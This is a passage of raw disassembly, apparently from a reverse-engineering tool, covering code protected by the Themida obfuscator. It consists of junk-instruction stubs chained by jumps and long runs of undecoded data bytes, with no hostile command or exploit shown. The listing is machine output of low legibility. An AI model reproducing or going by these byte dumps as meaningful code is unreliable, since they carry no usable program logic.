44C568h, 243C8900h, 3CE9D789h, 81FFFF9Eh dd 0AA1274EDh, 24348B36h, 5304C483h, 2BBh, 87B6E900h, 0EC83FFFFh dd 24348904h, 0EC835E54h, 243C8904h, 480566BFh, 0C5B8504Eh dd 0E9272C70h, 0FFFF8974h ; --------------------------------------------------------------------------- loc_51356C: ; CODE XREF: Themida_:00502D4Ej xchg eax, [esp] mov esp, [esp] sub ebx, eax push ecx jmp loc_5116B3 ; --------------------------------------------------------------------------- aTH db 'T]h%^',0 dd 240C8900h, 3A01BD55h, 0ED810366h, 418539BCh, 0C8FFE945h dd 0F381FFFEh, 7D8E6E6Eh, 713E6851h, 80E90B64h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5135A7: ; CODE XREF: Themida_:00513EAFj sub eax, 5C790985h add edx, eax pop eax add edx, 129236C4h mov edi, [esp] add esp, 4 sub edx, 7CB325EEh add edx, edi push esi jmp loc_5105F9 ; --------------------------------------------------------------------------- dd 240C8B66h, 0FF2C15E9h, 240481FFh, 67BB4600h, 81241429h dd 4600242Ch, 0C6E967BBh, 0ACFFFFB6h, 7CE468h, 24148900h dd 206849B2h, 89000043h, 1BB7241Ch, 169FE9h, 8BC83100h dd 0C483240Ch, 58C62904h, 0B951EE01h, 2D3E2957h, 122DBE56h dd 0F1017C59h, 41E9D15Eh, 629CF181h, 0E9810AB4h, 1FE39AF8h dd 0C8BCE01h, 4C48124h, 5D000000h, 31243433h, 14E92434h db 38h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513647: ; CODE XREF: Themida_:0050E078j push esi xor dword ptr [esp], 2FB52CCDh jmp loc_510BE1 ; --------------------------------------------------------------------------- loc_513654: ; CODE XREF: Themida_:00513157j pop ecx add edx, eax pop eax jmp loc_506414 ; --------------------------------------------------------------------------- db 5Eh, 83h, 0ECh dd 0F898E904h, 8F5BFFFEh, 248B2404h, 48B6624h, 8E95324h dd 89FFFF23h, 0FF542404h, 68582434h, 18E8h, 89240C89h dd 4C181E1h, 83000000h, 0C8704C1h, 7BE95C24h, 81FFFFA1h dd 4C2h, 4C28300h, 5C241487h, 0E901EB80h, 0FFFEFDEDh, 752E112Dh dd 4E5A2D5Ch, 0E90555BEh, 51791925h, 362A93B9h, 58AA684Ch dd 27E90000h, 81FFFF64h, 4C5h, 4AF0E900h, 77FFFFFFh, 58669D1Ch dd 24041166h, 0D486E99Ch, 0DFF7FFFFh, 1C7814Fh, 81000000h dd 2F8372C7h, 3639687Dh, 3C890000h, 3C8B5A24h, 0B9E5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51370A: ; CODE XREF: Themida_:005049A6j push 9EAh mov [esp], ebp push esp jmp loc_5147F3 ; --------------------------------------------------------------------------- dd 0B951E589h, 4, 8359CD01h, 63E902C5h, 66FFFFF7h, 661A9DBAh dd 291AF281h, 66DAF766h, 1BCAEA81h, 22C28166h, 0D02966C5h dd 0FED299E9h, 88F788FFh, 148B5BF9h, 4C48324h, 68AEF180h dd 5303h, 95FE9h db 0 ; --------------------------------------------------------------------------- loc_513761: ; CODE XREF: Themida_:0050622Cj push dword ptr [esp] jmp loc_50C799 ; --------------------------------------------------------------------------- db 0BEh, 5Eh, 26h dd 0C6811246h, 3596C18h, 15EF729h, 7448E9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51377E: ; CODE XREF: Themida_:005026B8j sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax jmp loc_5109FB ; --------------------------------------------------------------------------- loc_51378D: ; CODE XREF: Themida_:00513ED6j add eax, 463C0BD8h sub ebx, eax mov eax, [esp] add esp, 4 add ebx, 543C69CAh add ebx, ecx sub ebx, 543C69CAh jmp loc_50EFEA ; --------------------------------------------------------------------------- dd 4C381h, 0BF570000h, 4, 535FFB01h, 42474FFh, 24048F5Bh dd 0FFD861E9h, 5BDA31FFh, 815AD721h, 14280EEFh, 70ED811Fh dd 513A5846h, 9469A6B9h, 81E1D17Ah, 342E5FE9h, 0E8F0E924h dd 6853FFFFh, 4FD7h, 24048F54h, 4240481h, 8B000000h, 0C481241Ch dd 4, 70C2BF57h, 0EF8178D4h, 6FC958ABh, 1927E781h, 0EFC1277Dh dd 0E5EF8106h, 8146DD58h, 26CB7FF7h, 5FFB01B9h, 5304C383h dd 0FF53DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_513839: ; CODE XREF: Themida_:0051048Aj pop ecx sub ecx, 53387C06h jmp loc_5015FF ; --------------------------------------------------------------------------- aJh6 db 'Jh',0Ah db '6',0 dw 8900h dd 0C2BB241Ch, 11A8D28h, 0B9515BDAh, 7262448Ah, 1FE9CA01h db 3 dup(0) ; --------------------------------------------------------------------------- loc_513863: ; CODE XREF: Themida_:0050AA6Bj or dl, 5 neg dl add dl, 8Fh push ecx mov ch, dl jmp loc_514322 ; --------------------------------------------------------------------------- loc_513873: ; CODE XREF: Themida_:00507484j not edx not edx or edx, 6171485Bh jmp loc_507489 ; --------------------------------------------------------------------------- dw 8159h dd 870C43EAh, 1C046864h, 14890000h, 7069BA24h, 27052262h dd 2D16E02Ch, 7DD24BE7h, 0E705D001h, 2D7DD24Bh, 16E02C27h dd 2DD0295Ah, 22627069h, 3237055Ah, 0D82938C7h, 3237BA52h dd 0D02938C7h, 0FEFD65E9h db 0FFh ; --------------------------------------------------------------------------- loc_5138C9: ; CODE XREF: Themida_:00510FBEj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push esi mov esi, esp push 3992h jmp loc_5128C2 ; --------------------------------------------------------------------------- loc_5138E5: ; CODE XREF: Themida_:0050A3EDj pop esp jmp loc_50EF6D ; --------------------------------------------------------------------------- loc_5138EB: ; CODE XREF: Themida_:00501CABj add esi, eax pop eax xor eax, esi jmp loc_51168D ; --------------------------------------------------------------------------- db 0F6h, 0D4h, 80h dd 0ECC052F4h, 0FDEC8006h, 8858E288h, 2434FFD7h, 1DE9575Ah dd 55FFFF61h, 0F84633BDh, 50E5816Dh, 810ABD4Dh, 1A0F43C5h dd 0CBC58144h, 811C290Eh, 84CE0F5h, 0A6ED811Dh, 812E9B42h dd 0A590F0EDh, 9B44E9DCh, 0F721FFFFh, 0FF1ABDE9h, 241C87FFh dd 0EB87E95Ch, 0E957FFFFh, 0FFFF2753h, 5C243C87h, 0EEC1E6D1h dd 7FC68106h, 89FF561Eh, 0BB535EF3h, 72027B28h, 1C8BD801h dd 4C48124h, 57000000h, 0FEF47EE9h db 0FFh ; --------------------------------------------------------------------------- loc_51397D: ; CODE XREF: Themida_:00503629j mov eax, [esp] jmp loc_50980A ; --------------------------------------------------------------------------- loc_513985: ; CODE XREF: Themida_:005027F5j push 210Bh jmp loc_50EFE4 ; --------------------------------------------------------------------------- db 8Fh dd 0F5C2404h, 34FFC0B6h, 0BE78E987h, 0CE81FFFEh, 0CDA3E70h dd 808CC681h, 0F701C105h, 6061685Eh, 1C890000h, 4BB24h dd 0DF290000h, 58EA685Bh, 3C890000h, 0C22AE924h, 489FFFEh dd 28BBB024h, 238BE9C3h, 6664FFFFh, 6866028Bh, 89660138h dd 2FE92404h, 29FFFEBEh, 0C2815DEAh, 3377084Bh, 62E9DA01h dd 83000001h, 535204C4h, 0FFD8CDE9h, 0B9F05FFh, 0E9535A97h dd 0FFFF4C22h, 815F5457h, 4C7h, 4C78300h, 2474FF57h, 48F5F04h dd 24248B24h, 6C5E9h db 0 ; --------------------------------------------------------------------------- loc_513A29: ; CODE XREF: Themida_:0050E2B8j xchg edx, [esp] pop esp pop ebp shl eax, cl xchg eax, ecx sub ecx, 1 jmp loc_501CE8 ; --------------------------------------------------------------------------- dd 0D3E9028Fh db 0BDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_513A43: ; CODE XREF: Themida_:00503D62j pop esi mov edx, 0AB4922EEh add edx, ebx push dword ptr [esp] pop ebx jmp loc_4FFA57 ; --------------------------------------------------------------------------- dd 0E959CF01h, 0FFFF53E9h, 0EC815E54h, 4, 0BA241489h, 17C10DE8h dd 8904EC83h, 25BE2434h, 0E945E664h, 0FFFEF325h, 0BE68E189h dd 89000076h, 0C9E9242Ch, 56FFFF26h, 5CE9E689h, 68FFFF86h dd 0 dd 0FEF767E9h db 0FFh ; --------------------------------------------------------------------------- loc_513A9D: ; CODE XREF: Themida_:0050D445j mov eax, 2D7D61B9h add ebp, eax pop eax sub eax, 25ED683Ch add eax, ebp add eax, 25ED683Ch jmp loc_51104D ; --------------------------------------------------------------------------- loc_513AB6: ; CODE XREF: Themida_:00504729j mov ebp, [esp] add esp, 4 jmp loc_5021C3 ; --------------------------------------------------------------------------- dd 0CCE9DAF7h db 0Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513ACB: ; CODE XREF: Themida_:00507716j mov ecx, [esp] jmp loc_50525E ; --------------------------------------------------------------------------- db 29h dd 240C8BC8h, 0BE77E952h, 0EA88FFFEh, 54885B59h, 34FF0187h dd 24148B24h, 0E9595451h, 0FFFF2389h, 0E957E089h, 0FFFF634Eh ; --------------------------------------------------------------------------- loc_513AFC: ; CODE XREF: Themida_:00512EA2j add ebp, edi mov edi, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_514C71 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 0FF4830E9h, 0EAC15BFFh, 55DAF702h, 0E23525BDh dd 8E5C160h, 5674CD81h, 0EDC149F3h, 86CD8104h, 0F7761F6Eh dd 8AC581DDh, 1B132DFh, 0D7015DEAh, 0FED7F5E9h, 4BEA81FFh dd 81337708h, 996202C2h, 0D1685B52h, 89000069h, 2B82404h dd 0E9000000h, 0FFFF115Fh, 5A2434FFh, 0E95B5453h, 0FFFFC33Fh dd 4C381h, 0EB830000h, 241C8704h, 2414895Ch, 33BDD9BAh dd 2430E934h, 0E883FFFFh, 24048704h, 0A5E9545Ch, 33000010h dd 665C240Ch, 6824048Bh, 5016h, 0FEE37EE9h db 0FFh ; --------------------------------------------------------------------------- loc_513BBD: ; CODE XREF: Themida_:00504278j add esi, 6DC21AD6h sub esi, 4AB1F464h mov edx, esi jmp loc_50E457 ; --------------------------------------------------------------------------- loc_513BD0: ; CODE XREF: Themida_:00507879j pop esi sub ecx, ebp pop ebp sub eax, 2378342Dh add eax, ecx add eax, 2378342Dh pop ecx add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_500065 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 56240489h, 0C0BA5255h, 8921EE4Ch, 0B8505AD5h, 2105241Bh dd 0FF3CB8E9h, 0B60F66FFh, 2D566802h, 14890000h, 0C68CE924h dd 0C781FFFEh, 65166759h, 0FEC5FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_513C29: ; CODE XREF: Themida_:00501E6Fj sub esp, 4 mov [esp], edi mov edi, 4D125ECAh jmp loc_50E08E ; --------------------------------------------------------------------------- aVqQsc db ',QC',0Bh,0 dw 0BA00h dd 4, 875AD001h, 248B2404h, 5417E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513C56: ; CODE XREF: Themida_:00500358j mov ebx, esp add ebx, 4 push ecx mov ecx, 4 add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push esi mov esi, 0 sub esi, ebx push ebx push esi pop ebx jmp loc_503376 ; --------------------------------------------------------------------------- loc_513C83: ; CODE XREF: Themida_:00504780j xor ecx, 0A8B77717h push ecx sub dword ptr [esp], 5B531ED7h pop ebp add ebp, 5B531ED7h pop ecx add ebx, ebp jmp loc_502753 ; --------------------------------------------------------------------------- dd 173D2548h, 4F3547C6h, 0E96CEF02h, 0FFFFDCDDh, 5D374ABFh dd 0F388E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_513CBA: ; CODE XREF: Themida_:0050C89Ej pop ecx mov edi, [esp] jmp loc_5086C1 ; --------------------------------------------------------------------------- loc_513CC3: ; CODE XREF: Themida_:005021A6j pop esi add ebp, 0FAB22264h sub ebx, ebp pop ebp mov edi, ebx push dword ptr [esp] pop ebx push ecx jmp loc_502885 ; --------------------------------------------------------------------------- loc_513CD9: ; CODE XREF: Themida_:00506653j mov [esp], cx push edx push ecx mov ch, 5Bh push edx mov dl, 0C6h push cx mov ch, 6Bh and dl, ch mov cx, [esp] jmp loc_5142D5 ; --------------------------------------------------------------------------- loc_513CF3: ; CODE XREF: Themida_:00508B27j sub dword ptr [esp], 49A16892h add dword ptr [esp], 78E47C80h sub [esp], edx sub dword ptr [esp], 78E47C80h add dword ptr [esp], 49A16892h pop edx push 6B7h mov [esp], esi mov esi, 640A59ACh xor esi, 5B132C99h jmp loc_50605E ; --------------------------------------------------------------------------- db 0FFh dd 9CE92434h, 0FFFFFF24h, 525D2434h, 9FE9E289h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513D3F: ; CODE XREF: Themida_:0050CEDBj sub esp, 4 mov [esp], ebx jmp loc_501EB3 ; --------------------------------------------------------------------------- loc_513D4A: ; CODE XREF: Themida_:00511B69j pop esp shr ebp, 3 push 6A7Ch mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], edi mov edi, 3AA100C2h shr edi, 1 push ecx mov ecx, 1 add edi, ecx pop ecx add edi, 0F130267Dh jmp loc_500F51 ; --------------------------------------------------------------------------- dd 0EE5600BFh, 72F78167h, 214E2445h, 19355FF8h, 2140F752h dd 0C78158C7h, 0B74546Ah, 0EF81DFF7h, 5A683EC0h, 0A9ABEF81h dd 0FE31373Eh, 81243C8Bh, 4C4h, 0E9F70100h, 0FFFF7085h dd 240C895Ch, 0EC83F189h, 95EAE904h, 0C33FFFFh, 240C3124h dd 0FEDA59E9h, 4C483FFh, 5EE9E801h, 81FFFFEDh, 19226CEDh dd 73ED8169h, 1442529h, 0B77E9CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_513DFE: ; CODE XREF: Themida_:00510CEAj pop edx jmp loc_5016E0 ; --------------------------------------------------------------------------- dd 0B9240C89h, 0EB71FACh, 4E59CE89h, 0FF3CFFE9h db 0FFh ; --------------------------------------------------------------------------- loc_513E15: ; CODE XREF: Themida_:0050E478j mov [esp], ebp push ebx pop ebp push 6EC3h mov [esp], ecx mov ecx, ebp mov eax, ecx push dword ptr [esp] pop ecx push 1564h mov [esp], edi jmp loc_50A241 ; --------------------------------------------------------------------------- loc_513E37: ; CODE XREF: Themida_:00508029j mov ecx, 63846C7h sub ecx, 98C1FC0h add ecx, 396590Bh mov esi, ecx mov ecx, [esp] add esp, 4 add ecx, esi mov esi, [esp] add esp, 4 and eax, ecx mov ecx, [esp] push edi jmp loc_50F2C6 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0B3241C89h, 0BE2CC0h, 8BBE04D8h, 0C481241Ch, 4, 0C8005D2Ch dd 0E9535D04h, 0FFFF7EA1h, 5C240487h, 24040966h, 0CD53E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_513E9A: ; CODE XREF: Themida_:00512886j sub edx, edi add edx, 39B84B7Fh push eax mov eax, 13696533h add eax, 31F244C9h neg eax jmp loc_5135A7 ; --------------------------------------------------------------------------- loc_513EB4: ; CODE XREF: Themida_:005117A4j shl edi, 7 add edi, 1 inc edi jmp loc_509626 ; --------------------------------------------------------------------------- loc_513EC3: ; CODE XREF: Themida_:005048F5j add esp, 4 mov eax, 0AFD60E6h xor eax, ebx pop ebx sub eax, 324714FBh shl eax, 3 jmp loc_51378D ; --------------------------------------------------------------------------- db 80h dd 536601C5h, 515228B3h, 0FFEEE5E9h, 5FFD29FFh, 815DE989h dd 816F5EEBh, 0E9CB0178h, 0FFFFF18Eh, 5B2434FFh, 0FF13FCE9h dd 0C6C181FFh, 813F9D02h, 546AC8E9h, 0D9F4E927h, 248BFFFEh dd 0AB0F6624h, 0E99C2404h, 0FFFEB8F2h, 0F681DEF7h, 4C3A64F9h dd 8102E6C1h, 7155E7F6h, 0F4EE8176h, 5E9C1F3h, 860206Ch dd 6C2DF029h, 5E086020h, 37266735h, 45E9576Fh, 68FFFEC4h dd 542Eh, 24048F54h, 0D6D9E951h, 8F5CFFFEh, 248B2404h dd 24040924h, 0B8A4E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_513F72: ; CODE XREF: Themida_:0050A5FAj push esi mov esi, 36AA14B3h inc esi jmp loc_50D232 ; --------------------------------------------------------------------------- loc_513F7E: ; CODE XREF: Themida_:0050B2C4j mov ecx, [esp] add esp, 4 add edx, 41962617h add edx, edi sub edx, 41962617h pop edi add edx, 4 xchg edx, [esp] mov esp, [esp] push 312Eh mov [esp], edi sub esp, 4 mov [esp], ecx push esi mov esi, 0C9D5BBBh or esi, 52395D20h jmp loc_5002E9 ; --------------------------------------------------------------------------- loc_513FBE: ; CODE XREF: Themida_:005083B2j and eax, edi mov edi, [esp] push edx push esp jmp loc_4FFF19 ; --------------------------------------------------------------------------- dw 0CD2Dh dd 29272F5Bh, 0EFE952C8h, 0C1FFFF08h, 0E7C107E7h, 0C0EF8106h dd 1EAB929h, 0D0015FFAh, 0FF72E8E9h, 242489FFh, 4240481h dd 8F000000h, 0B9512404h, 4, 4244C01h, 0C609E959h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51400A: ; CODE XREF: Themida_:0050CC0Aj mov ebx, [esp] jmp loc_50FC25 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 0E9000000h, 0FFFEC92Eh, 0BE68535Dh, 5B61480Dh dd 0FF3CF5E9h, 315E5BFFh, 6980E9DFh, 8147FFFFh, 0EB667CEFh dd 4EC8303h, 0FF68F6E9h db 0FFh ; --------------------------------------------------------------------------- loc_514045: ; CODE XREF: Themida_:0050043Cj xor ebx, ecx pop ecx sub ebx, 0C558FEADh or esi, ebx mov ebx, [esp] add esp, 4 xor esi, 7FDA4FDAh add edx, esi pop esi add edx, 4 xchg edx, [esp] pop esp sub edx, 37B51E71h jmp loc_5001A8 ; --------------------------------------------------------------------------- db 66h, 5Fh, 66h dd 665BD809h, 66722835h, 665E9305h, 5105E0C1h, 45B7B966h dd 66D1F766h, 0E903E1C1h, 0FFFEE99Eh, 81240C8Bh, 4C4h dd 0CEFE900h, 552C0000h, 0FFE6FDE9h, 0C1015DFFh, 0FFCF52E9h dd 0D3295FFFh, 8324148Bh, 0E95504C4h, 0FFFF49B0h, 0B2241489h dd 0D1ACE9BFh, 0C483FFFEh, 24148704h, 6624248Bh, 9C2404FFh dd 0FEB739E9h db 0FFh ; --------------------------------------------------------------------------- loc_5140DD: ; CODE XREF: Themida_:00507747j shl ebx, 8 and ebx, 2D284A9Ah shl ebx, 8 jmp loc_50D365 ; --------------------------------------------------------------------------- dw 0C581h dd 4, 3302C583h, 0DBE9242Ch, 0FEFFFEBFh, 0E9F486C4h, 0FFFFF27Dh dd 0E1FEE959h, 0E95FFFFEh, 0FFFFD47Dh, 70E9D7F7h, 30FFFFE7h dd 0C0B60FC3h, 0FF8734FFh, 48B2434h, 4C48324h, 6E8FE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514132: ; CODE XREF: Themida_:00513307j pop edx add esp, 4 push edi jmp loc_5063FE ; --------------------------------------------------------------------------- loc_51413C: ; CODE XREF: Themida_:0050E145j sub ecx, edx pop edx push ebx push esp pop ebx add ebx, 4 sub ebx, 4 push esi jmp loc_505B51 ; --------------------------------------------------------------------------- db 89h, 0F0h, 5Eh dd 0D68D0F7h, 89000034h, 4EE9242Ch db 0C9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_514163: ; CODE XREF: Themida_:005024AFj sub eax, 178F0CC7h add eax, 6A3B027Ah add eax, esi jmp loc_50D951 ; --------------------------------------------------------------------------- dd 4B9h, 0FFCB0100h, 83592434h, 685104C4h, 4DB3h, 68242C89h dd 22DDh, 0FF0847E9h db 0FFh ; --------------------------------------------------------------------------- loc_514195: ; CODE XREF: Themida_:00501AA9j mov edi, 1 jmp loc_505352 ; --------------------------------------------------------------------------- db 0F6h dd 0E6E950D6h, 1FFFF77h, 5BEB81CBh, 0E9774301h, 0FFFF9455h dd 98F1E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5141BA: ; CODE XREF: Themida_:005090E7j mov [esp], ebx jmp loc_51456E ; --------------------------------------------------------------------------- loc_5141C2: ; CODE XREF: Themida_:00514D25j pop ecx jmp loc_509551 ; --------------------------------------------------------------------------- loc_5141C8: ; CODE XREF: Themida_:005016A4j mov ebp, 2EFB35E7h mov eax, ebp pop ebp mov ebp, 1A0A38B8h push edi push 5CAC100Ah pop edi jmp loc_5111F5 ; --------------------------------------------------------------------------- db 0B9h, 7Eh, 18h dd 0F8E9212Fh db 5Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5141EB: ; CODE XREF: Themida_:0050F696j pop edx xor ebx, eax pop small word ptr [eax] jmp loc_4FF816 ; --------------------------------------------------------------------------- dw 0C981h dd 466D1419h, 0E906E9C1h, 0FFFF6003h ; --------------------------------------------------------------------------- loc_514204: ; CODE XREF: Themida_:0050A43Cj mov ah, 19h and ah, 0EDh jmp loc_50336A ; --------------------------------------------------------------------------- loc_51420E: ; CODE XREF: Themida_:005076AEj mov ebx, 7CED47A0h neg ebx not ebx jmp loc_505239 ; --------------------------------------------------------------------------- loc_51421C: ; CODE XREF: Themida_:0051054Cj mov ecx, [esp] add esp, 4 sub al, 58h sub al, 0E9h push 3038h mov [esp], edi mov edi, esp jmp loc_4FFC85 ; --------------------------------------------------------------------------- dd 8E5C14Dh, 3DEBB53h, 0EBC15538h, 81DBF702h, 0ABD8FBC3h dd 5BDD3153h, 52E9E889h, 66FFFFFEh, 56240C8Bh, 24348B54h dd 8304C483h, 2C8904ECh, 4BD24h, 0C6810000h, 716F0087h dd 0EE81EE01h, 716F0087h, 0FED708E9h, 240431FFh, 8B240433h dd 0B5E92424h, 81FFFED6h, 0F011C8C1h, 0E9C80134h, 0FFFEF5A1h dd 7825E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5142A2: ; CODE XREF: Themida_:0050D2DFj sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_4FFA16 ; --------------------------------------------------------------------------- loc_5142B4: ; CODE XREF: Themida_:0051158Cj mov ebx, 0EF5B02F5h sub esi, ebx mov ebx, [esp] push edx jmp loc_50A2DD ; --------------------------------------------------------------------------- dd 0F75365B8h, 58C30158h, 5D2434FFh, 0FF31E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5142D5: ; CODE XREF: Themida_:00513CEEj add esp, 2 add dl, 2Ch sub dl, 73h xor dl, 0BBh sub ch, dl pop edx shr ch, 5 add ch, 0BBh neg ch sub ch, 0FFh xor ch, 1Dh jmp loc_4FFBEC ; --------------------------------------------------------------------------- loc_5142F7: ; CODE XREF: Themida_:00507E23j pop esp mov [esp], eax mov eax, 60E66729h push esi push 6020F76h mov esi, [esp] jmp loc_5117DB ; --------------------------------------------------------------------------- loc_51430E: ; CODE XREF: Themida_:0050B870j mov esp, [esp] jmp loc_4FFEB8 ; --------------------------------------------------------------------------- dw 815Ah dd 4ECh, 0A17BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514322: ; CODE XREF: Themida_:0051386Ej mov bl, ch pop ecx pop edx or bl, 7Ch dec bl add bl, 6Fh or dl, bl mov ebx, [esp] jmp loc_509A25 ; --------------------------------------------------------------------------- loc_514338: ; CODE XREF: Themida_:00502BC2j or eax, eax jmp loc_5027E7 ; --------------------------------------------------------------------------- loc_51433F: ; CODE XREF: Themida_:0050FB47j push esi mov esi, esp push edx mov edx, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_505EA2 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8124148Bh, 4C4h, 9C685200h, 5A66DE50h, 8106E2C1h, 5B36BCC2h dd 0BEF28159h, 110EF5Dh, 600FE9D7h, 0D929FFFFh, 240C875Bh dd 0FF31B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_514391: ; CODE XREF: Themida_:00509FDEj push edx mov edx, esp add edx, 4 jmp loc_500273 ; --------------------------------------------------------------------------- loc_51439F: ; CODE XREF: Themida_:004FFFA7j push 49CAh mov [esp], edi mov edi, 3CAA594Ch jmp loc_510EDB ; --------------------------------------------------------------------------- loc_5143B1: ; CODE XREF: Themida_:0050D604j push 627246FAh jmp loc_5077A4 ; --------------------------------------------------------------------------- loc_5143BB: ; CODE XREF: Themida_:00500EABj sub ecx, 0D9B614AFh add ebx, ecx jmp loc_50D8A0 ; --------------------------------------------------------------------------- loc_5143C8: ; CODE XREF: Themida_:0050D1A8j push esi jmp loc_507DE2 ; --------------------------------------------------------------------------- loc_5143CE: ; CODE XREF: Themida_:00505C51j xchg eax, [esp] pop esp jmp loc_502120 ; --------------------------------------------------------------------------- db 83h dd 0EDE904C4h db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5143DF: ; CODE XREF: Themida_:0050EBF8j push ebx push ebp mov ebp, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax mov eax, ebp push esi mov esi, eax push esi push ebx mov ebx, 158821F8h add [esp+4], ebx pop ebx pop ebx sub ebx, 158821F8h pop esi jmp loc_50FB0E ; --------------------------------------------------------------------------- loc_51441A: ; CODE XREF: Themida_:0050AA04j push ebx push eax mov ah, 19h and ah, 0B5h not ah inc ah sub ah, 57h jmp loc_4FF8BD ; --------------------------------------------------------------------------- loc_51442D: ; CODE XREF: Themida_:00510265j push ebx mov ebx, 5A9C760Ah dec ebx dec ebx shr ebx, 5 jmp loc_510CEF ; --------------------------------------------------------------------------- db 0B9h, 71h, 39h dd 0BE56316Ch, 316C396Dh, 15EF129h, 0C28359CAh, 0AA24E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514456: ; CODE XREF: Themida_:0050EBACj push esp jmp loc_508335 ; --------------------------------------------------------------------------- loc_51445C: ; CODE XREF: Themida_:0050D5CCj add esp, 4 add ebp, 1 push edi mov edi, 655400h and ebp, edi pop edi jmp loc_509989 ; --------------------------------------------------------------------------- loc_514473: ; CODE XREF: Themida_:00509EE4j shl ebx, 8 add ebx, 625E48C2h not ebx and ebx, 6081456Fh xor ebx, 0DD14D20h sub ebp, ebx mov ebx, [esp] add esp, 4 pop ecx push 724Dh mov [esp], ebp push dword ptr [esp+4] jmp loc_50A082 ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 0A113E900h, 8B66FFFFh, 0E9512404h dd 0FFFFDBDEh ; --------------------------------------------------------------------------- loc_5144BC: ; CODE XREF: Themida_:00510D4Aj add esi, 4 jmp loc_500A01 ; --------------------------------------------------------------------------- dd 3DA8EF81h, 0C581ACE3h, 1B7E546Bh, 0ED81FD01h, 1B7E546Bh dd 81C5295Fh, 5D7CCCEDh, 29ED8136h, 8B78157Eh, 0C4812404h dd 4, 2C8BEF29h, 4C48124h, 81000000h, 0B34F66EEh, 81FE0149h dd 0B34F66C6h, 0BE95F49h, 2CFFFFD7h, 148B6615h, 2C48324h dd 5266C800h, 0D02838B2h, 0FEC70BE9h db 0FFh ; --------------------------------------------------------------------------- loc_514525: ; CODE XREF: Themida_:005093FBj pop ecx jmp loc_501255 ; --------------------------------------------------------------------------- db 28h dd 9FC180F1h, 0E7E9805Ah, 80E5E980h, 0CF88C5F1h, 0FFA23EE9h dd 242489FFh, 4240483h, 4C18159h, 81000000h, 4C1h, 0EF71E900h dd 48FFFFFh, 0E569E924h, 8966FFFEh, 50662414h, 0B2A8E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_51456E: ; CODE XREF: Themida_:005141BDj mov ebx, esp push ecx jmp loc_506E78 ; --------------------------------------------------------------------------- loc_514576: ; CODE XREF: Themida_:0050EDBFj push eax jmp loc_513353 ; --------------------------------------------------------------------------- loc_51457C: ; CODE XREF: Themida_:0050C0C3j sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], eax push 4C08004Fh mov eax, [esp] sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp add eax, 0B3F7FFB1h push 544Ch jmp loc_50C21D ; --------------------------------------------------------------------------- db 0BAh dd 66D0525h, 0FF0E93E9h db 0FFh ; --------------------------------------------------------------------------- loc_5145C5: ; CODE XREF: Themida_:0050AF1Cj or ebp, 0D353E8Ch not ebp sub ebp, 7B277959h sub ebp, 62673515h and ebp, 6FF628AFh jmp loc_501A13 ; --------------------------------------------------------------------------- dd 5D0015Dh, 62D149B8h, 0E9C5015Ah, 0FFFF5309h, 0FEB21DE9h dd 24048FFFh, 5E8015Ch, 71CB1EDBh, 0E92434FFh, 0FFFF26BCh dd 0E9028F64h, 0FFFEB202h, 0E9F98959h, 0FFFF8132h, 344271BBh dd 0FDBF5708h, 0C103ED12h, 0E7C108E7h, 5BF78105h, 29EBB9DCh dd 577FE9FAh, 0D2B9FFFFh, 9542922h, 0F4D8E9CBh, 0DF87FFFFh dd 0FF23BDE9h db 0FFh ; --------------------------------------------------------------------------- loc_51464D: ; CODE XREF: Themida_:005149E1j pop eax xchg edi, [esp] pop esp sub esp, 4 jmp loc_508522 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aH@ db '$h:@',0 align 2 dw 0C89h dd 3C43E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51466E: ; CODE XREF: Themida_:005080CAj push 63FFh mov [esp], edx mov edx, esp jmp loc_510578 ; 